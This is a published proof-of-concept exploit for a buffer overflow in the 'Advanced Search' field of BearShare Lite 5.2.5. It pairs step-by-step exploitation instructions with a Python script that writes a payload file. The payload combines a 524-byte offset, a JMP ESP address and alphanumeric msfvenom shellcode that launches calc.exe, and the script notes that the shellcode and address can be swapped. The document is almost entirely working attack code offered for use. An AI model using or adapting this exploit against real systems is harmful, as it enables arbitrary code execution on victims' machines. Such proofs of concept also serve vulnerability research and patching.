# Title: BearShare Lite 5.2.5 - 'Advanced Search'Buffer Overflow in (PoC)
# Date: 2020-09-29
# Author: Christian Vierschilling
# Vendor Homepage: https://www.bearshareofficial.com/
# Software Link: https://www.oldversion.com.de/windows/bearshare-lite-5-2-5
# Versions: 5.1.0 - 5.2.5
# Tested on: Windows 10 x64 EN/DE
# CVE: NA

# --- EXPLOTATION INSTRUCTIONS --- #
# 1. Adjust the values for "jmp_esp" and "shellcode" if needed
# 2. Run the script to generate a file pwn.txt, containing your payload
# 3. Open pwn.txt on your target (!!) (e.g. in the browser or locally) and copy the contents into the clipboard
# 4. Start BearShare, click on "Advanced..." and a new window will pop up. Put the payload from pwn.txt into the field "Keywords:" within the new window. Click on "Search" in this window and your payload will be executed.

# --- PAYLOAD CONSTRUCTION --- #
#!/usr/bin/python
import binascii

# Detected the offset for overwriting the EIP register using pattern_create and pattern_offset: [*] Exact match at offset 524
junk1 = 524*"A"

# Address for a JMP ESP instruction found in MSVBVM60.DLL using mona.py (You will probably need to adjust this if using another OS, language etc.)
# \x66\x06\x05\x35
jmp_esp = binascii.unhexlify('35050666')

# Using another 4 bytes to align the stack for clean shellcode execution
junk2 = 4*"B"

# As we are limited to only being able to insert alphanumeric characters, we'll create an appropriate shellcode using msfvenom. Copy the output off the following command into the variable "shellcode" below:
# msfvenom -p windows/exec cmd=calc.exe BufferRegister=esp -e x86/alpha_mixed
shellcode = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylm8k2s0C0ePsPmYKUFQKpu4nk2ptpLKf26lLK3bTTNk1bexVoH7aZWVuaiollUl3QSLtBTlepyQZofmWqZgIrjRqBrwlKRrvpLK3zgLnkbl4Qt8hc3xc1HQv1lK2ya05QkcLK3ytXzCtzg9LKednkvaN6UaioNLzaZotM7qzgvXkPQeJVEScMIhWKQmq4T5xdChnkcha47qYCPfnkFlpKlKaHeLgqjsnk6dLKc1HPlI0Da4FDqKSkE1V9CjcaYoypcoaO0ZlKTRZKnm3msZ7qnmMUX230s05Pbpe8dqNkPoMWkO9EMkHpmenBcfU8MvnuMmMMKO9EelTFQlEZK0Ikm0puWumk1WuCD2PosZ7p1CyoxU3Se1bLbCDn55qhCUuPAA"

# assemble payload
payload = junk1 + jmp_esp + junk2 + shellcode

# write payload into pwn.txt
f = open("pwn.txt", 'w')
f.write(payload)
f.close()